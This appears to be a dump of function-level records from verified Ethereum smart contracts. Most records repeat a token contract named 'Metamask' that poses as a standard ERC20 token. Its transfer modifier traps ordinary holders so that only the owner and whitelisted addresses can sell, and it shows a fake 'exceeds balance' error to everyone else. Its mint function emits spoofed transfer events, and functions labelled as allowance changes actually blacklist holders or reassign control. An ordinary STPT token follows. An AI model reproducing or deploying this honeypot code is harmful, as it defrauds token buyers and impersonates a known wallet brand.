/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 9064, 9612 ] }
1,409
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 9888, 10194 ] }
1,410
Metamask
Metamask.sol
0x2f5854646497ff426df56c86f134d1f313fe4f90
Solidity
Metamask
contract Metamask is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x11eDedebF63bef0ea2d2D071bdF88F71543ec6fB, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0x881D40237659C251811CEC9c364ef91dC08D300C, initialSupply*(10**18)); _mint(0xF326e4dE8F66A0BDC0970b79E0924e33c79f1915, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
GNU LGPLv2.1
ipfs://1e55d5c406f6293ddcbba8324658d7f2e4d0937ad4b6e7665737e0be9888c909
{ "func_code_index": [ 10521, 10944 ] }
1,411
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
STPTToken
function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); }
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 444, 696 ] }
1,412
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
totalSupply
function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.21+commit.dfe3193c
bzzr://ba97bd48b2a15b4db813d1d44d88413b1eb983dbad3bd943973c9a44a746f63c
{ "func_code_index": [ 876, 989 ] }
1,413
STPTToken
STPTToken.sol
0xde7d85157d9714eadf595045cc12ca4a5f3e2adb
Solidity
STPTToken
contract STPTToken is ERC20Interface { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function STPTToken() public { symbol = "STPT"; name = "STPT"; decimals = 18; _totalSupply = 2000000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ----------------------------------------------------------------------------
LineComment
balanceOf
